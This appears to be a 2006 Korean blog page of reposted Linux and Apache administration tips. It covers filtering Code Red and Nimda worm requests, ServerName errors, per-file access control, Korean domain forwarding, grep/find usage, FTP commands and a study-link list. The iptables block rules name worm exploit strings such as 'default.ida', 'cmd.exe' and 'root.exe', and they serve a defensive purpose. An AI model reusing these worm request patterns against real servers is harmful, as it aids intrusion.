    CustomLog /usr/local /apache/logs//access.log combined env=!cord-red 라고 수정을 한다.
    !는 not의 의미이므로 위 설정은 환경변수 cord-red로 정의된 요청을 거부하라는 뜻이다. 위와 같이 설정 후 아파치를 재시작하면 코드레드와 관련된 로그가 남지 않게 된다. 코드레드에 이은 님다 웜의 경우도 같은 방식으로 설정하
    여 로그에 남지 않도록 설정할 수 있다.
    또한 같은 원리를 이용하여 iptables를 이용하여 아예 패킷 자체를 차단할 수도 있는데, 코드 레드의 경우 default.ida 문자열을 요청한다는 특징을 이용하여 다음과 같이 차단할 수 있다.

    iptables ?A INPUT -i eth0 -p tcp --tcp-flags ACK ACK --dport 80
    -m string --string ‘/default.ida?’ -j REJECT --reject-with tcp-reset와 같이 iptables의 ?strings를 이용하여 특정 문자열이 포함된 패킷을 차단하는 방법도 있기는 하지만 이 방법은 커널과 iptables를 다시 컴파일해야 하는 문제가 있다. 님다 웜 역시 이외 cmd.exe 와 root.exe를 포함하므로 같은 방식으 로 다음과 같이 차단할 수 있다.

    iptables -A INPUT -p tcp --tcp-flags ACK ACK --dport 80 -m string --
    string "cmd.exe" -j REJECT --reject-with tcp-reset
    iptables -A INPUT -p tcp --tcp-flags ACK ACK --dport 80 -m string --
    string "root.exe?" -j REJECT --reject-with tcp-reset

    * 서버 네임(ServerName) 인자 관련 에러 대처
    아파치 서버를 시작시 자주 만나는 에러와 관련된 설정 중 하나가 바로 다음과 같은 서버 네임이다.

    # /usr/local/apache/bin/apachectl start
    httpd: cannot determine local host name.
    Use the ServerName directive to set it manually.
    ./apachectl startl: httpd could not be started

    대부분 서버 네임은 리눅스 설치 시 입력한 호스트 이름을 자동으로 가지고와 설정되나 DNS상에 존재하지 않은 도메인명이나 설사 존재하더라도 로컬 서버가 아닌 잘못된 도메인을 정의시 이러한 현상이 나타난다. 이러한 경우에는 서버 네임을 실제 로컬 서버의 호스트 이름이나 IP 주소로 설정해 주어야 한다.
    또한 서버 네임을 잘못 설정 시 나타날 수 있는 현상 중 하나가 http: //domain.com/~user와 같이 접속할 때의 문제다. 즉, 서버 내 계정 사용자의 홈페이지를 접속시 http://domain.com/ ~user/와 같이 접속하면 접속이되나 http://domain.com/~user와 같이 /를 붙이지 않으면 접속이 되지 않는 경우다.
    클라이언트가 서버의 디렉토리에 접속시 끝에 /(trailing)을 하지 않은 경우 서버는 클라이언트에게 /을 붙여 다시 접속을 하라고 요청한다. 그렇지 않으면 상대 URL 경로를 인식하지 못하는 문제가 있기 때문이다. 만약 DNS가 정상
    적으로 세팅되어 작동하고 있을 경우에는 문제가 없지만 그렇지 않은 경우에는 접속이 되지 않는 경우가 생긴다. 또는 위에서처럼 서버 네임에 지정된 호스트네임이 실제로 DNS 상에 리졸빙이 되지 않는 경우도 이러한 현상이 나타나므로 이러한 경우에는 httpd.conf의 서버 네임 옵션에 실제 서비스 중인 도메인명으로 입력해 주면 된다.

    * 특정 파일의 접근 제한이 되지 않을 때
    가끔 서버를 운영하다보면 특정한 디렉토리 이하에 대해서는 인증된 유저만 접속이 가능하게 한다거나 특정 IP 대역의 유저만 접근하도록 하고자 할 필요가 있을 때가 있다. 특정 디렉토리 이하에 대해서 접근을 제어하고자 할 때에
    는 .htaccess를 사용하거나 httpd.conf에서 <Directory>를 이용하여 제어를 할 수 있지만, 만약 특정한 파일에 대해서 외부에서의 접근을 제한하고자 한다면 어떻게 하여야 할까?
    이때는 Location을 사용하면 된다. httpd.conf 파일에 다음과 같이 설정시 모든 디렉토리 이하의 secret.html 파일에 대해서는 192.168.1.1에서만 접근이 가능하게 된다.

    <Location /secret.html>
    order deny,allow
    deny from all
    allow from 192.168.1.1
    </Location>

    만약 여러 도메인이 설치되어 있는 호스팅 서버의 경우 secret.tt. co.kr 도메인 내의 secret.html에 대해서만 접근을 제어하고자 할 경우에는 다음과 같이 버추얼 호스트 설정에서 하면 된다.

    <VirtualHost secret.tt.co.kr>
    ServerAdmin antihong@tt.co.kr
    DocumentRoot /usr/local/apache/htdocs/secret/
    ServerName secret.tt.co.kr
    <Location /secret.html>
    order deny,allow
    deny from all
    allow from 192.168.1.1
    </Location>
    </VirtualHost>

    또는 위와 같이 IP가 아니라 특정한 ID/PW를 입력한 유저에 대해서만 특정 파일에 대하여 접근을 허용하고자 할 때가 있다. 이러한 경우에는 httpd.conf에 다음과 같이 설정하면 된다.

    <VirtualHost secret.tt.co.kr>
    ServerAdmin antihong@tt.co.kr
    DocumentRoot /usr/local/apache/htdocs/secret/
    ServerName secret.tt.co.kr
    <Files secret.html>
    AuthName "ID/PW 를 입력하세요."
    AuthType Basic
    AuthUserFile /usr/local/apache/htdocs/.htpasswd
    Require valid-user
    </Files>
    </VirtualHost>

    그리고 htpasswd ?c htpasswd id로 .htpasswd 파일에 ID/PW를 생성하여 secret.html에 접근시 ID/PW를 정확히 입력한 유저에 대해서만 접근이 가능하게 된다.

    한글 도메인으로 접속이 되지 않을 때 한글.com 형식의 한글 도메인 서비스가 1년 가까이 아직 정상적인 서비스가
    되고 있지는 않지만 현재는 포워딩 방식으로나마 일부 사용 가능하다. 즉, 그 자체로 한글.com으로의 사용은 불가능하며 단지 한글.com을 접속시 다른 도메인으로 포워딩 할 수 있는 것이다. 현재 http://www.gabia.com/http://www.doregi.com/ 등에서 한글 도메인을 검색해 보면 예를 들어 팬메일.net의 경우 BQ--3DJSZOSUY56A.NET와 같이 BQ- 형식의 RaceCode 문자로 되어 있는데, 실제로는 bq--3djszosuy56a.mltbd.net와 같이 mltbd.net(한글.com 일 경우에는 mltbd.com, 한글.org 일 경우에는 mltbd.org)의 2차 도메인 형식으로 서비스된다. 따라서 위와 같이 WHOIS 검색을 한 후 나온 RaceCode을 DNS 서버에서 먼저 설정하여야 하는데, DNS 서버의 named.conf에서 설정하여야 할 내용은 다음과 같다.

    zone "bq--3djszosuy56a.mltbd.net" {
    type master;
    file "bq--3djszosuy56a.mltbd.net.zone";
    };

    bq--3djszosuy56a.mltbd.net.zone 파일의 형식은 일반 zone 파일 형식과 동일하게 설정하면 된다.
    그리고 DNS 서버에서 지정한 해당 웹 서버에서는 다음과 같이 버추얼 호스트 설정을 하여 원래의 사이트인 http://panmail.net/으로 리다이렉트하면 된다
    (현재까지는 포워딩 서비스만 제공하므로 Redirect를 이용하여야 한다).

    <VirtualHost bq--3djszosuy56a.mltbd.net>
    ServerAdmin webmaster@bq--3djszosuy56a.mltbd.net
    DocumentRoot /usr/local/apache/htdocs/panmail
    ServerName bq--3djszosuy56a.mltbd.net
    ServerAlias www.bq--3djszosuy56a.mltbd.net
    Redirect / http://panmail.net
    </VirtualHost>

    위와 같이 설정 후 아파치를 재시작하면 팬메일.net으로 접속시 http://panmail.net/으로 접속이 되는 것을 확인할 수 있을 것이다.


    * 기타 시스템 장애 대처법
    리눅스가 윈도우 계열과 다른 가장 큰 특징 중 하나는 로그(log)를 철저히 남긴다는 것이다. 남겨진 로그 정보를 이용하여 각종 시스템의 장애나 상태를 점검할 수가 있는데, 아파치 웹 서버 역시 마찬가지다. 문제나 장애가 발생 시에는 반드시 error_log를 남기게 하여 /usr/local /apache/logs/error_log의 메시지를 살펴보면 문제의 원인과 해결책을 어렵지 않게 찾을 수 있게 될 것이다.
    문제가 발생하였다고 당황하거나 무턱대고 관련 게시판에 질문을 올리지 말고, 에러 로그의 내용을 기초로 차근차근 문제의 원인을 분석하고 해결해 나간다면 조금씩 서버 관리자에 가까워지는 자신을 발견할 수 있을 것이다.

    2006/09/08 15:53 2006/09/08 15:53
    이 글에는 트랙백을 보낼 수 없습니다
    출처 블로그 > 브라이언 블로그
    원본 http://blog.naver.com/jk997600/110005991932
    * 리눅스에서 파일 검색
    - Tips/Linux | 2006/06/10 10:17
    문자열찾기 방법 1 - 영어만 주로 가능
    grep -rw "찾는문자열" ./

    문자열찾기 방법 2 - 대/소문자 구분 안하고 검색
    grep -i -l "찾는문자열" * -r 2> /dev/null

    문자열찾기 방법 3 - 한글, 영어 모두 가능
    find . -exec grep -l "찾는문자열" {} \; 2>/dev/null

    문자열찾기 방법 4 - 한글,영어, 대소문자 안가리고 검색
    find . -exec grep -i -l "찾을문자열" {} \; 2>/dev/null

    문자열찾은 후 치환
    find . -exec perl -pi -e 's/찾을문자열/바꿀문자열/g' {} \; 2>/dev/null

    파일명 찾기
    find / -name 파일명 -type f

    파일명 찾기(대소문자 구별없음)
    find / -iname 파일명 -type f

    디렉토리 찾기
    find / -name 파일명 -type d

    디렉토리 찾기(대소문자 구별없음)
    find / -iname 파일명 -type d
    2006/09/08 15:52 2006/09/08 15:52
    이 글에는 트랙백을 보낼 수 없습니다
    Linux/FTP  2006/09/08 14:43
    ### ftp 명령어 모음 ###

    ascii : 전송모드를 ASCII모드로 설정한다.(ascii또는 as)

    binary : 전송모드를 BINARY모드로 설정한다.( binary또는 bi)

    bell : 명령어 완료시에 벨소리를 나게한다.(bell)

    bye : ftp접속을 종료하고 빠져나간다.(bye)

    cd : remote시스템의 디렉토리를 변경한다.(cd 디렉토리명)

    cdup : remote시스템에서 한단계 상위디렉토리로 이동한다.(cdup)

    chmod : remote시스템의 파일퍼미션을 변경한다.(chmod 755 index.html)

    close : ftp접속을 종료한다. (close)

    delete : remote시스템의 파일을 삭제한다.(delete index.old)

    dir : remote시스템의 디렉토리 내용을 디스플레이한다.(dir)

    disconnect : ftp접속을 종료한다.(disconnect)

    exit : ftp접속을 종료하고 빠져나간다.(exit)

    get : 지정된 파일하나를 가져온다.(get index.html)

    hash : 파일전송 도중에 "#"표시를 하여 전송중임을 나타낸다.(hash)

    help : ftp명령어 도움말을 볼 수 있다.(help또는 help 명령어)

    lcd : local시스템의 디렉토리를 변경한다.(lcd 디렉토리명)

    ls : remote시스템의 디렉토리 내용을 디스플레이한다. (ls 또는 ls -l)

    mdelete : 여러개의 파일을 한꺼번에 지울 때 사용한다.( mdelete *.old)

    mget : 여러개의 파일을 한꺼번에 가져오려할 때 사용한다. ( mget *.gz)

    mput : 한꺼번에 여러개의 파일을 remote시스템에 올린다.(mput *.html)

    open : ftp접속을 시도한다.(open 168.126.72.51또는 open ftp.kornet.net)

    prompt : 파일전송시에 확인과정을 거친다. on/off 토글 (prompt)

    put : 하나의 파일을 remote시스템에 올린다.(put index.html)

    pwd : remote시스템의 현재 작업디렉토리를 표시한다.(pwd)

    quit : ftp접속을 종료하고 빠져나간다.(quit)

    rstatus : remote시스템의 상황(version, 어디서, 접속ID등)을 표시한다.(rstatus)

    rename : remote시스템의 파일명을 바꾼다.(remote 현재파일명 바꿀파일명)

    rmdir : remote시스템의 디렉토리을 삭제한다.(rmdir 디렉토리명)

    size :remote시스템에 있는 파일의 크기를 byte단위로 표시한다.(size index.html)

    status : 현재 연결된 ftp세션모드에 대한 설정을 보여준다.(status)

    type : 전송모드를 설정한다.(type 또는 type ascii 또는 type binary)
    2006/09/08 14:43 2006/09/08 14:43
    이 글에는 트랙백을 보낼 수 없습니다
    출처 블로그 > What you see is what you get
    원본 http://blog.naver.com/etwas0227/60014878338

    공부하기


    1. 시스템을 항상 PPP로 접속시켜두자.(1998/07/31)
    2. SGML 문서 작성법 (1998/09/04)
    3. SGML에 관한 개론 (1999/01/17)
    4. PROC mail 이용하기 I (영문) (1998/10/30)
    5. Linux in Hospitals (영문) (1998/10/30)
    6. 리눅스 설치하기 (1998/12/26)
    7. PHP에서 아파치 기본 인증 이용하기 (1999/1/2)
    8. 이운억님이 작성한 SSH2 시작하기 (1999/01/06)
    9. 조희진님이 작성한 BitchX 사용하기 (1999/01/07)
    10. 한글 도메인 시스템 구축 및 운영 (1999/01/12)
    11. 이운억님이 작성한 RCS mini-HOWTO (1999/01/17)
    12. CGI/ver 1.1의 변수들 (1999/01/19)
    13. PHPLib 설명서 (1999/01/22)
    14. 아파치에서 mod_auth_pgsql 모듈 사용하기 (1999/02/09)
    15. Cocoja님께서 작성한 CVS 한글 가이드 (1999/03/10)
    16. 이운억님이 작성한 Apache에서 suexec의 활용 (1999/06/18)
    17. 차세대 IP표준인 IP v6에 관한 글 (1999/08/31)
    18. LDAP directory service에 관한 글 I - 한글 (1999/08/31)
    19. LDAP directory service에 관한 글 II - PRESENTATION (2000/03/07)
    20. Introduction to LDAP (2000/03/07)
    21. X.500 directory service에 관한 글 (1999/08/31)
    22. Linux Device Driver(1999/09/19)
    23. Porting Applications to Linux(1999/09/19)
    24. PROC mail 이용하기 II (영문) (1999/09/20)
    25. GPS에 관하여 (1999/09/25)
    26. GNU Plot 이용하기 (1999/11/15)
    27. GNU EMACS 메뉴얼 (2001/03/18)
    28. GNU EMACS EMACS Lisp 메뉴얼 (2001/03/20)
    29. Emacs 사용법 강좌 (1999/11/15)
    30. Emacs Reference (1999/11/15)
    31. Hanemacs 에디터 강좌 (1999/11/15)
    32. Apache PostgreSQL 인증모듈 (1999/11/30)
    33. GDB 사용법 (미지 참조) (1999/12/01)
    34. Accelerated GLX FAQ (1999/12/16)
    35. C study 클럽 (1999/12/27)
    36. Unix 기초 (I) (1999/12/27)
    37. Unix 기초 (II) (1999/12/27)
    38. Unix 기초 (PDF, PS)(2000/07/03)
    39. UNIX shell 기초 (2001/07/24)
    40. UNIX shell Programming (2001/07/24)
    41. X Window 기초 (2001/07/24)
    42. SGML Guide KLDP 문서 (1999/12/29)
    43. 한글 TeX 설치 Guide KLDP 문서 (1999/12/29)
    44. TeTeX HOWTO 한글문서 (1999/12/29)
    45. vim tip을 모아 놓은 글 (1999/12/31)
    46. vim tip을 모아 놓은 글 (1999/12/31)
    47. vim Manual (v5.6) (Booklet, PDF) (2001/07/30)
    48. vim Manual (v5.6) (Plain, PDF) (2001/07/30)
    49. vim HOWTO (영문) (1999/12/31)
    50. JARGON 한글 번역 (1999/12/31)
    51. BASH Reference (영문,317KB) (2000/03/13)
    52. BASH Reference card (영문,pdf 파일) (2000/03/13)
    53. GCC Reference (영문) (2000/03/13)
    54. readline library Reference card (영문,pdf 파일) (2000/03/13)
    55. make 강좌 (2000/03/20)
    56. WEB Server의 최적화 (2000/03/28)
    57. TCP/IP 에 관한 설명 (2000/03/29)
    58. Virtual Hosting (2000/03/28)
    59. Cookie 사용법 (2000/03/28)
    60. JAVA 1.1로 옮겨가기 (I) (2000/03/28)
    61. JAVA 1.1로 옮겨가기 (II) (2000/03/28)
    62. JAVA 1.1로 옮겨가기 (III) (2000/03/28)
    63. Unix 에 대해서 (2000/03/29)
    64. Perl! 초보자를 위한 안내서 (2000/03/29)
    65. Perl 5 Reference Guide (2000/06/19)
    66. Apache에서 Tomcat 설치하기 (2000/03/29)
    67. Apache에서 Serverlet 이용하기 (2000/03/29)
    68. Apache에서 GNUJSP 설치하기 (2000/03/29)
    69. SQL Gateway for JAVA (Servlet용 Class) (2001/07/30)
    70. Apache에서 JServ 설치하기 (2000/03/29)
    71. Servlet 에 관해서 (2001/05/05)
    72. AWK 사용법 (2000/03/30)
    73. Intranet 을 위한 요소 기술 (2000/03/30)
    74. 인터넷 방송국 운영하기 (2000/04/10)
    75. Icecase, Shsout, Icelive 설정 및 사용법 (2000/05/29)
    76. Unix Kernel 완전분석으로 가는길 (HWP 파일) (2000/04/17)
    77. Unix C 기초 (2000/04/17)
    78. Win32 환경에서의 PHP3의 설치 (2000/05/17)
    79. Unix System Administeration (2000/07/03)
    80. X Window 기초 (2000/07/03)
    81. Unix Help v1.3 (2000/08/22)
    82. HTML tag Reference (from Netscape) (2000/09/04)
    83. Readline Library Reference (2000/09/14)
    84. SGML docbook DTD 이용법 (2000/09/14)
    85. AWK 메뉴얼 (2000/10/06)
    86. SED 메뉴얼 (2000/10/06)
    87. Creating your own OS (2000/10/13)
    88. Unix C & C++ 메뉴얼 (2000/10/18)
    89. HLaTeX 가이드 (2000/10/18)
    90. Python 2.0 Document (2000/10/26)
    91. Linux Programming Guide 한글 번역 (2000/11/02)
    92. GNU Make 사용하기 (2000/11/02)
    93. GNU GNU C Library 한글 메뉴얼 (2000/11/02)
    94. ADSL 에서 리눅스 이용하기 (2000/11/04)
    95. ANSI C Reference(ZIP 포맷) (2000/04/17)
    96. Gtk 한글 Tutorial (ZIP파일,PS파일) (2000/11/07)
    97. Introduction to Object Oriented Programming Using C++ (2000/11/07)
    98. Unix Command Summary (2000/11/07)
    99. Servlet Tutorial (2000/11/23)
    100. Servlet API Document (2000/11/23)
    101. JAVA Document (2000/11/23)
    102. 내가 필요한 RFC 문서들(2000/12/11)
    103. IP masquerading 에 관한 글?2000/12/31)
    104. GNU C 한글 메뉴얼 (2001/01/13)
    105. Exploring /proc/net (2001/01/14)
    106. 손쉬운 리눅스 관리 (2001/01/28)
    107. DocBook 사용하기 (2001/01/28)
    108. SED FAQ (2001/02/04)
    109. Glibc (HWP 문서) (2001/02/06)
    110. Glibc 문서(HTML,한글) (zip파일) (2001/02/16)
    111. GNU Make (HTML,한글) (zip파일) (2001/02/16)
    112. Handheld Device Markup Language (HTML,한글) (zip파일) (2001/02/16)
    113. JSDK 및 JServ 의 설치 및 환경 설정 (한글) (2001/02/16)
    114. Kornet ADSL 의 사용법 (2001/02/16)
    115. HylaFax 로 FAX server 만들기 (ZIP 파일) (2001/02/18)
    116. Problem Solving using c++ (C++ 가이드 한글) (2001/02/18)
    117. GCC lecture (2001/02/18)
    118. C++ Guide (2001/02/18)
    119. 표준 C 강좌 (2001/02/18)
    120. 유닉스에서의 C 프로그래밍 (2001/02/18)
    121. Unix 에서 C 를 이용한 프로젝트 (2001/02/18)
    122. Mutt 메뉴얼 (2001/02/26)
    123. Mutt 사용자 가이드 (2002/10/14)
    124. Unix Introduction by Rob Func, OSU (2001/03/16)
    125. Unix Introduction by TUS, OSU (2001/03/16)
    126. 관리자가 기본적으로 봐야할 4가지 문서 (보안관련, HTML문서, ZIP파일임) (2001/03/16)
    127. HTML 4.0 Reference - Windows 95/98/NT4 Help (222 kB) (2001/04/14)
    128. HTML 4.0 Reference - Zipped HTML (292 kB) (2001/04/14)
    129. CSS Guide - Windows 95/98/NT4 Help (119 kB) (2001/04/14)
    130. CSS Guide - Zipped HTML (221 kB) (2001/04/14)
    131. Network 용어 (기초) (2001/04/25)
    132. Linux Assembly tutorial (2001/04/25)
    133. Windows 2000에서 IIS+PHP+MySQL 설정법 (2001/04/28)
    134. Javascript Tutorial (1) (2001/05/01)
    135. Javascript Tutorial (2) (2001/05/14)
    136. Dynamic Web 기반 마련하기 (프세 2001/4월호 기사) (2001/05/01)
    137. KDE 와 GNOME 개발환경 (2001/05/01)
    138. Port Forwarding (2001/05/01)
    139. Windows & Linux Multi-booting (2001/05/05)
    140. JAVA2 설치및 환경 설정 (2001/05/05)
    141. JSDK 및 JSERVE 의 설치 및 환경 설정 (2001/05/05)
    142. Apache + JSERVE + SSL 의 설치(2001/05/05)
    143. JAVA 2 v1.3 Standard Ed API (2001/05/11)
    144. Unix 개론 (2001/05/18)
    145. Linux에서 DHCP 이용하기 (2001/05/27)
    146. JSP FAQ & JSPBOOK site (2001/05/29)
    147. Design and Implement Servlets/JSPs/EJBs for IBM WebSphere (2001/07/28)
    148. 대용량 스토리지에 관한 이야기 (프로그램세계 기사) (2001/07/28)
    149. Real-Time JAVA Specification (PDF) (2001/07/30)
    150. JADE TeX Installation 문서 (PDF) (2001/07/31)
    151. DocBook Installation 문서 (PDF) (2001/07/31)
    152. Servlet API (2001/07/31)
    153. Java 2 Platform Enterprise Edition Specification, v1.3 (Final Draft, Feb 2001) (2001/07/31)
    154. Java Message Service (2001/07/31)
    155. CVS Tutorial (2001/09/01)
    156. tomcat on Linux (2001/09/29)
    157. GLIBC 한글 메뉴얼 (2001/12/25)
    158. IRC 프로토콜 (RFC 1459) 한글문서 (2002/07/09)
    159. mutt HOWTO (2002/07/26)




    출처: http://database.sarang.net/study/study.phtml

    database.sarang.net

    2006/09/08 14:37 2006/09/08 14:37
    이 글에는 트랙백을 보낼 수 없습니다
    웅쓰:웅자의 상상플러스
    웅자의 상상플러스
    전체 (379)
    게임 (5)
    영화 (2)
    기타 (23)
    맛집 (5)
    영어 (2)
    대수학 (3)
    형태소 (5)
    Hacking (9)
    Linux (112)
    HTML (48)
    Application_developing (48)
    Web_developing (102)
    Window (11)
    «   2006/09   »
              1 2
    3 4 5 6 7 8 9
    10 11 12 13 14 15 16
    17 18 19 20 21 22 23
    24 25 26 27 28 29 30
    1. 2016/01 (1)
    2. 2015/12 (3)
    3. 2015/10 (3)
    4. 2015/03 (2)
    5. 2015/01 (4)